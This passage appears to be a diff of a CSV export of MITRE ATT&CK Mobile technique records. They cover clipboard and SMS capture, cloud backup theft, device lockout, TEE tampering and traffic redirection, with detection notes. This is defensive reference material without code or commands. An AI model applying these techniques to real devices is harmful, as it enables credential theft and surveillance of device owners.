'Pearce, G. (, January). Retrieved August 8, 2019.', 'url': 'https://github.com/grepx/android-clipboard-security'}, {'source_name': 'Android 10 Privacy Changes', 'description': 'Android Developers. (n.d.). Privacy changes in Android 10. Retrieved September 11, 2019.', 'url': 'https://developer.android.com/about/versions/10/privacy/changes#clipboard-data'}]",2.0,attack-pattern,attack-pattern--c4b96c0b-cb58-497a-a1c2-bb447d79d692,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:19.996Z,2019-09-13T20:46:26.223Z,Capture Clipboard Data,"Adversaries may abuse Clipboard Manager APIs to obtain sensitive information copied to the global clipboard. For example, passwords being copy-and-pasted from a password manager app could be captured by another application installed on the device.(Citation: Fahl-Clipboard) On Android, ClipboardManager.OnPrimaryClipChangedListener can be used by applications to register as a listener and monitor the clipboard for changes.(Citation: Github Capture Clipboard 2019) -Android 10 mitigates this technique by preventing applications from accessing clipboard data unless the application is on the foreground or is set as the device’s default input method editor (IME).(Citation: Android 10 Privacy Changes)",attack-pattern--c4b96c0b-cb58-497a-a1c2-bb447d79d692,attack-pattern,"['collection', 'credential-access']",2019-09-13T20:46:26.223Z,2017-10-25T14:48:19.996Z,"Capturing clipboard content can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.",,,,,"['Android', 'iOS']",,,,,,,,,MOB-T1017,,,,,['Post-Adversary Device Access'] -"[{'source_name': 'mitre-mobile-attack', 'external_id': 'T1426', 'url': 'https://attack.mitre.org/techniques/T1426'}, {'url': 'https://developer.android.com/reference/android/os/Build', 'description': 'Android. (n.d.). Build. Retrieved December 21, 2016.', 'source_name': 'Android-Build'}, {'url': 'http://stackoverflow.com/questions/7848766/how-can-we-programmatically-detect-which-ios-version-is-device-running-on', 'description': 'Stack Overflow. (n.d.). How can we programmatically detect which iOS version is device running on?. Retrieved December 21, 2016.', 'source_name': 'StackOverflow-iOSVersion'}]","[{'phase_name': 'discovery', 'kill_chain_name': 'mitre-mobile-attack'}]",1.1,False,https://attack.mitre.org/techniques/T1426,mitre-mobile-attack,T1426,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,System Information Discovery,"An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, and architecture. +Android 10 mitigates this technique by preventing applications from accessing clipboard data unless the application is on the foreground or is set as the device’s default input method editor (IME).(Citation: Android 10 Privacy Changes)","['collection', 'credential-access']",https://attack.mitre.org/techniques/T1414,mitre-mobile-attack,T1414,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Capturing clipboard content can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.",,,"['Android', 'iOS']",,,,,,,,['Post-Adversary Device Access'],MOB-T1017 +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1426', 'external_id': 'T1426'}, {'source_name': 'Android-Build', 'description': 'Android. (n.d.). Build. Retrieved December 21, 2016.', 'url': 'https://developer.android.com/reference/android/os/Build'}, {'source_name': 'StackOverflow-iOSVersion', 'description': 'Stack Overflow. (n.d.). How can we programmatically detect which iOS version is device running on?. Retrieved December 21, 2016.', 'url': 'http://stackoverflow.com/questions/7848766/how-can-we-programmatically-detect-which-ios-version-is-device-running-on'}]",1.1,attack-pattern,attack-pattern--e2ea7f6b-8d4f-49c3-819d-660530d12b77,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:19.265Z,2019-11-20T19:56:49.109Z,System Information Discovery,"An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, and architecture. On Android, much of this information is programmatically accessible to applications through the android.os.Build class.(Citation: Android-Build) -On iOS, techniques exist for applications to programmatically access this information.(Citation: StackOverflow-iOSVersion)",attack-pattern--e2ea7f6b-8d4f-49c3-819d-660530d12b77,attack-pattern,['discovery'],2019-11-20T19:56:49.109Z,2017-10-25T14:48:19.265Z,,,,,,"['Android', 'iOS']",,,,,,,,,MOB-T1029,,,,,['Post-Adversary Device Access'] -"[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1472', 'external_id': 'T1472'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'impact'}]",1.0,,https://attack.mitre.org/techniques/T1472,mitre-mobile-attack,T1472,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Generate Fraudulent Advertising Revenue,"An adversary could seek to generate fraudulent advertising revenue from mobile devices, for example by triggering automatic clicks of advertising links without user involvement.",attack-pattern--f981d199-2720-467e-9dc9-eea04dbe05cf,attack-pattern,['impact'],2019-07-03T20:21:22.168Z,2017-10-25T14:48:18.937Z,,,,,,"['Android', 'iOS']",,,,,,,,,MOB-T1075,,,,,['Post-Adversary Device Access'] -"[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1399', 'external_id': 'T1399'}, {'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html', 'source_name': 'NIST Mobile Threat Catalogue', 'external_id': 'APP-27'}, {'source_name': 'Roth-Rootkits', 'description': 'Thomas Roth. (2013). Next generation mobile rootkits. Retrieved December 21, 2016.', 'url': 'https://hackinparis.com/data/slides/2013/Slidesthomasroth.pdf'}, {'source_name': 'Apple-iOSSecurityGuide', 'description': 'Apple. (2016, May). iOS Security. Retrieved December 21, 2016.', 'url': 'https://www.apple.com/business/docs/iOS_Security_Guide.pdf'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'persistence'}]",1.1,,https://attack.mitre.org/techniques/T1399,mitre-mobile-attack,T1399,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Modify Trusted Execution Environment,"If an adversary can escalate privileges, he or she may be able to use those privileges to place malicious code in the device's Trusted Execution Environment (TEE) or other similar isolated execution environment where the code can evade detection, may persist after device resets, and may not be removable by the device user. Running code within the TEE may provide an adversary with the ability to monitor or tamper with overall device behavior.(Citation: Roth-Rootkits)",attack-pattern--f1c3d071-0c24-483d-aca0-e8b8496ce468,attack-pattern,"['defense-evasion', 'persistence']",2019-02-03T14:23:10.576Z,2017-10-25T14:48:18.583Z,"Devices may perform cryptographic integrity checks of code running within the TEE at boot time. +On iOS, techniques exist for applications to programmatically access this information.(Citation: StackOverflow-iOSVersion)",['discovery'],https://attack.mitre.org/techniques/T1426,mitre-mobile-attack,T1426,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,False,,"['Android', 'iOS']",,,,,,,,['Post-Adversary Device Access'],MOB-T1029 +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'impact'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1472', 'external_id': 'T1472'}]",1.0,attack-pattern,attack-pattern--f981d199-2720-467e-9dc9-eea04dbe05cf,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:18.937Z,2019-07-03T20:21:22.168Z,Generate Fraudulent Advertising Revenue,"An adversary could seek to generate fraudulent advertising revenue from mobile devices, for example by triggering automatic clicks of advertising links without user involvement.",['impact'],https://attack.mitre.org/techniques/T1472,mitre-mobile-attack,T1472,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,"['Android', 'iOS']",,,,,,,,['Post-Adversary Device Access'],MOB-T1075 +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1399', 'external_id': 'T1399'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html', 'external_id': 'APP-27'}, {'source_name': 'Roth-Rootkits', 'description': 'Thomas Roth. (2013). Next generation mobile rootkits. Retrieved December 21, 2016.', 'url': 'https://hackinparis.com/data/slides/2013/Slidesthomasroth.pdf'}, {'source_name': 'Apple-iOSSecurityGuide', 'description': 'Apple. (2016, May). iOS Security. Retrieved December 21, 2016.', 'url': 'https://www.apple.com/business/docs/iOS_Security_Guide.pdf'}]",1.1,attack-pattern,attack-pattern--f1c3d071-0c24-483d-aca0-e8b8496ce468,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:18.583Z,2019-02-03T14:23:10.576Z,Modify Trusted Execution Environment,"If an adversary can escalate privileges, he or she may be able to use those privileges to place malicious code in the device's Trusted Execution Environment (TEE) or other similar isolated execution environment where the code can evade detection, may persist after device resets, and may not be removable by the device user. Running code within the TEE may provide an adversary with the ability to monitor or tamper with overall device behavior.(Citation: Roth-Rootkits)","['defense-evasion', 'persistence']",https://attack.mitre.org/techniques/T1399,mitre-mobile-attack,T1399,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Devices may perform cryptographic integrity checks of code running within the TEE at boot time. -iOS devices will fail to boot if the software running within the Secure Enclave does not pass signature verification.(Citation: Apple-iOSSecurityGuide)",,,,,['Android'],,,,,,,,,MOB-T1002,,,,,['Post-Adversary Device Access'] -"[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1470', 'external_id': 'T1470'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-0.html', 'external_id': 'ECO-0'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-1.html', 'external_id': 'ECO-1'}, {'source_name': 'Elcomsoft-EPPB', 'description': 'Elcomsoft. (n.d.). Elcomsoft Phone Breaker. Retrieved December 29, 2016.', 'url': 'https://www.elcomsoft.com/eppb.html'}, {'source_name': 'Elcomsoft-WhatsApp', 'description': 'Oleg Afonin. (2017, July 20). Extract and Decrypt WhatsApp Backups from iCloud. Retrieved July 6, 2018.', 'url': 'https://blog.elcomsoft.com/2017/07/extract-and-decrypt-whatsapp-backups-from-icloud/'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'remote-service-effects'}]",1.0,,https://attack.mitre.org/techniques/T1470,mitre-mobile-attack,T1470,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Obtain Device Cloud Backups,"An adversary who is able to obtain unauthorized access to or misuse authorized access to cloud backup services (e.g. Google's Android backup service or Apple's iCloud) could use that access to obtain sensitive data stored in device backups. For example, the Elcomsoft Phone Breaker product advertises the ability to retrieve iOS backup data from Apple's iCloud (Citation: Elcomsoft-EPPB). Elcomsoft also describes (Citation: Elcomsoft-WhatsApp) obtaining WhatsApp communication histories from backups stored in iCloud.",attack-pattern--0c71033e-401e-4b97-9309-7a7c95e43a5d,attack-pattern,['remote-service-effects'],2018-10-17T00:14:20.652Z,2017-10-25T14:48:18.237Z,Google provides the ability for users to view their account activity. Apple iCloud also provides notifications to users of account activity.,,,,,"['Android', 'iOS']",,,,,,,,,MOB-T1073,,,,,['Without Adversary Device Access'] -"[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1446', 'external_id': 'T1446'}, {'external_id': 'APP-28', 'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-28.html'}, {'source_name': 'Android resetPassword', 'url': 'https://developer.android.com/reference/android/app/admin/DevicePolicyManager.html#resetPassword(java.lang.String,%20int)', 'description': 'Google. (n.d.). DevicePolicyManager. Retrieved October 1, 2019.'}, {'url': 'http://researchcenter.paloaltonetworks.com/2015/08/keyraider-ios-malware-steals-over-225000-apple-accounts-to-create-free-app-utopia/', 'description': 'Claud Xiao. (2015, August 30). KeyRaider: iOS Malware Steals Over 225,000 Apple Accounts to Create Free App Utopia. Retrieved December 12, 2016.', 'source_name': 'Xiao-KeyRaider'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'impact'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'defense-evasion'}]",2.0,,https://attack.mitre.org/techniques/T1446,mitre-mobile-attack,T1446,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Device Lockout,"An adversary may seek to lock the legitimate user out of the device, for example to inhibit user interaction or to obtain a ransom payment. +iOS devices will fail to boot if the software running within the Secure Enclave does not pass signature verification.(Citation: Apple-iOSSecurityGuide)",,,['Android'],,,,,,,,['Post-Adversary Device Access'],MOB-T1002 +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'remote-service-effects'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1470', 'external_id': 'T1470'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-0.html', 'external_id': 'ECO-0'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-1.html', 'external_id': 'ECO-1'}, {'source_name': 'Elcomsoft-EPPB', 'description': 'Elcomsoft. (n.d.). Elcomsoft Phone Breaker. Retrieved December 29, 2016.', 'url': 'https://www.elcomsoft.com/eppb.html'}, {'source_name': 'Elcomsoft-WhatsApp', 'description': 'Oleg Afonin. (2017, July 20). Extract and Decrypt WhatsApp Backups from iCloud. Retrieved July 6, 2018.', 'url': 'https://blog.elcomsoft.com/2017/07/extract-and-decrypt-whatsapp-backups-from-icloud/'}]",1.0,attack-pattern,attack-pattern--0c71033e-401e-4b97-9309-7a7c95e43a5d,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:18.237Z,2018-10-17T00:14:20.652Z,Obtain Device Cloud Backups,"An adversary who is able to obtain unauthorized access to or misuse authorized access to cloud backup services (e.g. Google's Android backup service or Apple's iCloud) could use that access to obtain sensitive data stored in device backups. For example, the Elcomsoft Phone Breaker product advertises the ability to retrieve iOS backup data from Apple's iCloud (Citation: Elcomsoft-EPPB). Elcomsoft also describes (Citation: Elcomsoft-WhatsApp) obtaining WhatsApp communication histories from backups stored in iCloud.",['remote-service-effects'],https://attack.mitre.org/techniques/T1470,mitre-mobile-attack,T1470,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,Google provides the ability for users to view their account activity. Apple iCloud also provides notifications to users of account activity.,,,"['Android', 'iOS']",,,,,,,,['Without Adversary Device Access'],MOB-T1073 +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'impact'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1446', 'external_id': 'T1446'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-28.html', 'external_id': 'APP-28'}, {'source_name': 'Android resetPassword', 'description': 'Google. (n.d.). DevicePolicyManager. Retrieved October 1, 2019.', 'url': 'https://developer.android.com/reference/android/app/admin/DevicePolicyManager.html#resetPassword(java.lang.String,%20int)'}, {'source_name': 'Xiao-KeyRaider', 'description': 'Claud Xiao. (2015, August 30). KeyRaider: iOS Malware Steals Over 225,000 Apple Accounts to Create Free App Utopia. Retrieved December 12, 2016.', 'url': 'http://researchcenter.paloaltonetworks.com/2015/08/keyraider-ios-malware-steals-over-225000-apple-accounts-to-create-free-app-utopia/'}]",2.0,attack-pattern,attack-pattern--9d7c32f4-ab39-49dc-8055-8106bc2294a1,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:17.886Z,2019-10-09T14:39:38.930Z,Device Lockout,"An adversary may seek to lock the legitimate user out of the device, for example to inhibit user interaction or to obtain a ransom payment. On Android versions prior to 7, apps can abuse Device Administrator access to reset the device lock passcode to prevent the user from unlocking the device. After Android 7, only device or profile owners (e.g. MDMs) can reset the device’s passcode.(Citation: Android resetPassword) -On iOS devices, this technique does not work because mobile device management servers can only remove the screen lock passcode, they cannot set a new passcode. However, on jailbroken devices, malware has been discovered that can lock the user out of the device.(Citation: Xiao-KeyRaider)",attack-pattern--9d7c32f4-ab39-49dc-8055-8106bc2294a1,attack-pattern,"['impact', 'defense-evasion']",2019-10-09T14:39:38.930Z,2017-10-25T14:48:17.886Z,"On Android, users can review which applications have device administrator access in the device settings, and revoke permission where appropriate.",,,,,"['Android', 'iOS']",,,,,,,,,MOB-T1049,,,,,['Post-Adversary Device Access'] -"[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1413', 'external_id': 'T1413'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-3.html', 'external_id': 'APP-3'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html', 'external_id': 'APP-13'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'collection'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'credential-access'}]",1.0,,https://attack.mitre.org/techniques/T1413,mitre-mobile-attack,T1413,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Access Sensitive Data in Device Logs,"On versions of Android prior to 4.1, an adversary may use a malicious application that holds the READ_LOGS permission to obtain private keys, passwords, other credentials, or other sensitive data stored in the device's system log. On Android 4.1 and later, an adversary would need to attempt to perform an operating system privilege escalation attack to be able to access the log.",attack-pattern--29e07491-8947-43a3-8d4e-9a787c45f3d3,attack-pattern,"['collection', 'credential-access']",2018-10-17T00:14:20.652Z,2017-10-25T14:48:17.176Z,,,,,,['Android'],,,,,,,,,MOB-T1016,,,,,['Post-Adversary Device Access'] -"[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1436', 'external_id': 'T1436'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'command-and-control'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'exfiltration'}]",1.0,,https://attack.mitre.org/techniques/T1436,mitre-mobile-attack,T1436,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Commonly Used Port,"Adversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend with normal network activity to avoid more detailed inspection. +On iOS devices, this technique does not work because mobile device management servers can only remove the screen lock passcode, they cannot set a new passcode. However, on jailbroken devices, malware has been discovered that can lock the user out of the device.(Citation: Xiao-KeyRaider)","['impact', 'defense-evasion']",https://attack.mitre.org/techniques/T1446,mitre-mobile-attack,T1446,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"On Android, users can review which applications have device administrator access in the device settings, and revoke permission where appropriate.",,,"['Android', 'iOS']",,,,,,,,['Post-Adversary Device Access'],MOB-T1049 +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'collection'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1413', 'external_id': 'T1413'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-3.html', 'external_id': 'APP-3'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html', 'external_id': 'APP-13'}]",1.0,attack-pattern,attack-pattern--29e07491-8947-43a3-8d4e-9a787c45f3d3,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:17.176Z,2018-10-17T00:14:20.652Z,Access Sensitive Data in Device Logs,"On versions of Android prior to 4.1, an adversary may use a malicious application that holds the READ_LOGS permission to obtain private keys, passwords, other credentials, or other sensitive data stored in the device's system log. On Android 4.1 and later, an adversary would need to attempt to perform an operating system privilege escalation attack to be able to access the log.","['collection', 'credential-access']",https://attack.mitre.org/techniques/T1413,mitre-mobile-attack,T1413,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,['Android'],,,,,,,,['Post-Adversary Device Access'],MOB-T1016 +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'command-and-control'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'exfiltration'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1436', 'external_id': 'T1436'}]",1.0,attack-pattern,attack-pattern--3911658a-6506-4deb-9ab4-595a51ae71ad,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:16.650Z,2019-06-19T19:25:33.180Z,Commonly Used Port,"Adversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend with normal network activity to avoid more detailed inspection. They may use commonly open ports such as @@ -4313,16 +3940,16 @@ They may use commonly open ports such as * TCP:25 (SMTP) * TCP/UDP:53 (DNS) -They may use the protocol associated with the port or a completely different protocol.",attack-pattern--3911658a-6506-4deb-9ab4-595a51ae71ad,attack-pattern,"['command-and-control', 'exfiltration']",2019-06-19T19:25:33.180Z,2017-10-25T14:48:16.650Z,,,,,,"['Android', 'iOS']",,,,,,,,,MOB-T1039,,,,,['Post-Adversary Device Access'] -"[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1412', 'external_id': 'T1412'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'collection'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'credential-access'}]",1.1,,https://attack.mitre.org/techniques/T1412,mitre-mobile-attack,T1412,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Capture SMS Messages,"A malicious application could capture sensitive data sent via SMS, including authentication credentials. SMS is frequently used to transmit codes used for multi-factor authentication. +They may use the protocol associated with the port or a completely different protocol.","['command-and-control', 'exfiltration']",https://attack.mitre.org/techniques/T1436,mitre-mobile-attack,T1436,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,"['Android', 'iOS']",,,,,,,,['Post-Adversary Device Access'],MOB-T1039 +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'collection'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1412', 'external_id': 'T1412'}]",1.1,attack-pattern,attack-pattern--e8b4e1ec-8e3b-484c-9038-4459b1ed8060,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:15.920Z,2019-09-18T18:28:50.898Z,Capture SMS Messages,"A malicious application could capture sensitive data sent via SMS, including authentication credentials. SMS is frequently used to transmit codes used for multi-factor authentication. On Android, a malicious application must request and obtain permission (either at app install time or run time) in order to receive SMS messages. Alternatively, a malicious application could attempt to perform an operating system privilege escalation attack to bypass the permission requirement. -On iOS, applications cannot access SMS messages in normal operation, so an adversary would need to attempt to perform an operating system privilege escalation attack to potentially be able to access SMS messages.",attack-pattern--e8b4e1ec-8e3b-484c-9038-4459b1ed8060,attack-pattern,"['collection', 'credential-access']",2019-09-18T18:28:50.898Z,2017-10-25T14:48:15.920Z,"On Android, the user can view which applications have permission to access SMS messages through the device settings, and the user can choose to revoke the permission.",,,,,"['Android', 'iOS']",,,,,,,,,MOB-T1015,,,,,['Post-Adversary Device Access'] -"[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1409', 'external_id': 'T1409'}, {'external_id': 'AUT-0', 'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-0.html'}, {'description': 'Security Without Borders. (2019, March 29). Exodus: New Android Spyware Made in Italy. Retrieved September 3, 2019.', 'url': 'https://securitywithoutborders.org/blog/2019/03/29/exodus.html', 'source_name': 'SWB Exodus March 2019'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'collection'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'credential-access'}]",2.0,,https://attack.mitre.org/techniques/T1409,mitre-mobile-attack,T1409,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Access Stored Application Data,"Adversaries may access and collect application data resident on the device. Adversaries often target popular applications such as Facebook, WeChat, and Gmail.(Citation: SWB Exodus March 2019) +On iOS, applications cannot access SMS messages in normal operation, so an adversary would need to attempt to perform an operating system privilege escalation attack to potentially be able to access SMS messages.","['collection', 'credential-access']",https://attack.mitre.org/techniques/T1412,mitre-mobile-attack,T1412,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"On Android, the user can view which applications have permission to access SMS messages through the device settings, and the user can choose to revoke the permission.",,,"['Android', 'iOS']",,,,,,,,['Post-Adversary Device Access'],MOB-T1015 +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'collection'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1409', 'external_id': 'T1409'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-0.html', 'external_id': 'AUT-0'}, {'source_name': 'SWB Exodus March 2019', 'description': 'Security Without Borders. (2019, March 29). Exodus: New Android Spyware Made in Italy. Retrieved September 3, 2019.', 'url': 'https://securitywithoutborders.org/blog/2019/03/29/exodus.html'}]",2.0,attack-pattern,attack-pattern--702055ac-4e54-4ae9-9527-e23a38e0b160,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:15.402Z,2019-10-10T14:17:48.920Z,Access Stored Application Data,"Adversaries may access and collect application data resident on the device. Adversaries often target popular applications such as Facebook, WeChat, and Gmail.(Citation: SWB Exodus March 2019) -This technique requires either escalated privileges or for the targeted app to have stored the data in an insecure manner (e.g., with insecure file permissions or in an insecure location such as an external storage directory).",attack-pattern--702055ac-4e54-4ae9-9527-e23a38e0b160,attack-pattern,"['collection', 'credential-access']",2019-10-10T14:17:48.920Z,2017-10-25T14:48:15.402Z,"Accessing stored application data can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.",,,,,"['Android', 'iOS']",,,,,,,,,MOB-T1012,,,,,['Post-Adversary Device Access'] -"[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1410', 'external_id': 'T1410'}, {'source_name': 'Skycure-Profiles', 'description': 'Yair Amit. (2013, March 12). Malicious Profiles - The Sleeping Giant of iOS Security. Retrieved December 22, 2016.', 'url': 'https://www.skycure.com/blog/malicious-profiles-the-sleeping-giant-of-ios-security/'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'collection'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'credential-access'}]",1.0,,https://attack.mitre.org/techniques/T1410,mitre-mobile-attack,T1410,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Network Traffic Capture or Redirection,"An adversary may capture network traffic to and from the device to obtain credentials or other sensitive data, or redirect network traffic to flow through an adversary-controlled gateway to do the same. +This technique requires either escalated privileges or for the targeted app to have stored the data in an insecure manner (e.g., with insecure file permissions or in an insecure location such as an external storage directory).","['collection', 'credential-access']",https://attack.mitre.org/techniques/T1409,mitre-mobile-attack,T1409,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Accessing stored application data can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.",,,"['Android', 'iOS']",,,,,,,,['Post-Adversary Device Access'],MOB-T1012 +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'collection'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1410', 'external_id': 'T1410'}, {'source_name': 'Skycure-Profiles', 'description': 'Yair Amit. (2013, March 12). Malicious Profiles - The Sleeping Giant of iOS Security. Retrieved December 22, 2016.', 'url': 'https://www.skycure.com/blog/malicious-profiles-the-sleeping-giant-of-ios-security/'}]",1.0,attack-pattern,attack-pattern--3b0b604f-10db-41a0-b54c-493124d455b9,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:14.982Z,2018-10-17T00:14:20.652Z,Network Traffic Capture or Redirection,"An adversary may capture network traffic to and from the device to obtain credentials or other sensitive data, or redirect network traffic to flow through an adversary-controlled gateway to do the same. A malicious app could register itself as a VPN client on Android or iOS to gain access to network packets. However, on both platforms, the user must grant consent to the app to act as a VPN client, and on iOS the app requires a special entitlement that must be granted by Apple. @@ -4330,26 +3957,26 @@ Alternatively, if a malicious app is able to escalate operating system privilege An adversary could redirect network traffic to an adversary-controlled gateway by establishing a VPN connection or by manipulating the device's proxy settings. For example, Skycure (Citation: Skycure-Profiles) describes the ability to redirect network traffic by installing a malicious iOS Configuration Profile. -If 